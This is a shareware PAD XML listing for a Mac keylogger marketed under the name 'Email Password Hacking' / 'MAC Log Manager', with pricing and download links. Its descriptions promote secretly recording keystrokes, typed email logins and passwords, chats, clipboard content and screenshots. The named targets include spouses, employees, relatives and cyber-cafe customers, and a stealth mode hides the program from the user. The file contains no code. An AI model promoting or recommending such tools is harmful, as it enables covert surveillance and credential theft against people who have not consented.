<?xml version="1.0" ?>
<XML_DIZ_INFO>
	<MASTER_PAD_VERSION_INFO>
		<MASTER_PAD_VERSION>3.11</MASTER_PAD_VERSION>
		<MASTER_PAD_EDITOR>PADGen 3.1.1.47 http://www.padgen.org</MASTER_PAD_EDITOR>
		<MASTER_PAD_INFO>Portable Application Description, or PAD for short, is a data set that is used by shareware authors to disseminate information to anyone interested in their software products. To find out more go to http://pad.asp-software.org</MASTER_PAD_INFO>
	</MASTER_PAD_VERSION_INFO>
	<Company_Info>
		<Company_Name>Email password hacking</Company_Name>
		<Address_1>lane</Address_1>
		<Address_2>co-lane</Address_2>
		<City_Town>town</City_Town>
		<State_Province>province</State_Province>
		<Zip_Postal_Code>20001</Zip_Postal_Code>
		<Country>United States</Country>
		<Company_WebSite_URL>http://www.emailpasswordhacking.com</Company_WebSite_URL>
		<Contact_Info>
			<Author_First_Name>Email Password</Author_First_Name>
			<Author_Last_Name>Hacking</Author_Last_Name>
			<Author_Email>emph@emailpasswordhacking.com</Author_Email>
			<Contact_First_Name>Email Password</Contact_First_Name>
			<Contact_Last_Name>Hacking</Contact_Last_Name>
			<Contact_Email>emph@emailpasswordhacking.com</Contact_Email>
		</Contact_Info>
		<Support_Info>
			<Sales_Email>emph@emailpasswordhacking.com</Sales_Email>
			<Support_Email>emph@emailpasswordhacking.com</Support_Email>
			<General_Email>emph@emailpasswordhacking.com</General_Email>
			<Sales_Phone>011-9811111111</Sales_Phone>
			<Support_Phone>011-9811111111</Support_Phone>
			<General_Phone>011-9811111111</General_Phone>
			<Fax_Phone>011-9811111111</Fax_Phone>
		</Support_Info>
	</Company_Info>
	<Program_Info>
		<Program_Name>Email Password Hacking</Program_Name>
		<Program_Version>5.4.1.1</Program_Version>
		<Program_Release_Month>06</Program_Release_Month>
		<Program_Release_Day>22</Program_Release_Day>
		<Program_Release_Year>2011</Program_Release_Year>
		<Program_Cost_Dollars>45</Program_Cost_Dollars>
		<Program_Cost_Other_Code>INR</Program_Cost_Other_Code>
		<Program_Cost_Other>2002</Program_Cost_Other>
		<Program_Type>Shareware</Program_Type>
		<Program_Release_Status>New Release</Program_Release_Status>
		<Program_Install_Support>Install and Uninstall</Program_Install_Support>
		<Program_OS_Support>Mac OS X,Mac Other,Other</Program_OS_Support>
		<Program_Language>English</Program_Language>
		<Program_Change_Info>Added support to trace user activity on mac os x</Program_Change_Info>
		<Program_Specific_Category>Utilities</Program_Specific_Category>
		<Program_Category_Class>Security &amp; Privacy::Covert Surveillance</Program_Category_Class>
		<Program_System_Requirements>256MB RAM, 10MB Disk Space for installation</Program_System_Requirements>
		<File_Info>
			<File_Size_Bytes>1021952</File_Size_Bytes>
			<File_Size_K>998</File_Size_K>
			<File_Size_MB>0.97</File_Size_MB>
		</File_Info>
		<Expire_Info>
			<Has_Expire_Info>Y</Has_Expire_Info>
			<Expire_Count>30</Expire_Count>
			<Expire_Based_On>Days</Expire_Based_On>
			<Expire_Other_Info />
			<Expire_Month />
			<Expire_Day />
			<Expire_Year />
		</Expire_Info>
	</Program_Info>
	<Program_Descriptions>
		<English>
			<Keywords>Software, monitoring, designed, apple, mac, machine, computer, system, keylogger, application, tool, internet, invisible, record, user, activities, internet, keystroke, clipboard, program, detail, capture, password, email, business, enterprise</Keywords>
			<Char_Desc_45>Utility to record overall internet activity</Char_Desc_45>
			<Char_Desc_80>Powerful computer system monitoring software record unauthorized user activity</Char_Desc_80>
			<Char_Desc_250>Technically advanced key logger application monitors all typed key board text information including composed documents, using text editor, chat conversation, composed mails and also record typed email logins and passwords of any external users.</Char_Desc_250>
			<Char_Desc_450>Highly interactive Mac OS X key logger software successfully track and record overall internet activities performed by user children, employees, students, family members, relatives, spouse, customers in cyber cafe and others using apple Mac machine. Computer system monitoring application easily record voice chat conversation, typed key strokes, clip board content details including copy and paste command activity and accessed applications etc.</Char_Desc_450>
			<Char_Desc_2000>Most appropriate Mac key logger software quickly record entire activities performed in your absence including key stroke details, clipboard details, internet activities (including received or send mails, audio video chat conversation, visited web urls), USB drive insertion and removable device activities like any usb mass storage device such as Pen drives, Thumb drive, Digital camera, jump drive, memory stick, key chain drive, flash drive and many others. Software facilitates users with extraordinary feature to modify application setting according to their wish. Mac key logger application is available with password protection facility to avoid any external user to make any change in software setting without their permission. Specialized Mac keylogger software record overall internet activity of your children when you are not present, employees, spouse, family members, relatives, friends etc in their working hours. MAC log manager software generates reports of all logged files in html file format in efficient manner.
Extraordinary features:
* Key logger application is easy and simple to use and monitor overall activities executed by any unauthorized user using Apple Mac OS X machine.
* Advanced MAC key logger software capture active screenshots periodically and offer an option to capture them with Skype video calls at defined time interval. 
* Key logger utility monitor entire internet activities including visited websites, opened web pages, played online games, chat details, downloaded software and many more.
* User can run software in stealth or hidden mode to remains invisible from desktop, control panel, add or remove list, installation files, start up menu etc.
* GUI interface helps users to frequently work with tool without any special guidance or knowledge for operating application.
</Char_Desc_2000>
		</English>
	</Program_Descriptions>
	<Web_Info>
		<Application_URLs>
			<Application_Info_URL>http://www.emailpasswordhacking.com/</Application_Info_URL>
			<Application_Order_URL>http://www.emailpasswordhacking.com/</Application_Order_URL>
			<Application_Screenshot_URL>http://www.emailpasswordhacking.com/eph-mackeylogger-screen.jpg</Application_Screenshot_URL>
			<Application_Icon_URL>http://www.emailpasswordhacking.com/eph-mackeylogger-icon.jpg</Application_Icon_URL>
			<Application_XML_File_URL>http://www.emailpasswordhacking.com/eph-mackeylogger.xml</Application_XML_File_URL>
		</Application_URLs>
		<Download_URLs>
			<Primary_Download_URL>http://www.emailpasswordhacking.com?downloads/MAC-Log-Manager.zip</Primary_Download_URL>
			<Secondary_Download_URL>http://www.emailpasswordhacking.com?downloads/MACLogManager.zip</Secondary_Download_URL>
			<Additional_Download_URL_1 />
			<Additional_Download_URL_2 />
		</Download_URLs>
	</Web_Info>
	<Permissions>
		<Distribution_Permissions>MAC Log Manager. Contact on the emails given on the website for legal Distribution information. All distribution rights reserved.</Distribution_Permissions>
		<EULA>End User Licence Agreement MAC Log Manager Copyright(c) 2006. Please see software License agreement given in the software for End User Licensing information. Contact on the emails given on the website for EULA information. All rights reserved.</EULA>
	</Permissions>
</XML_DIZ_INFO>

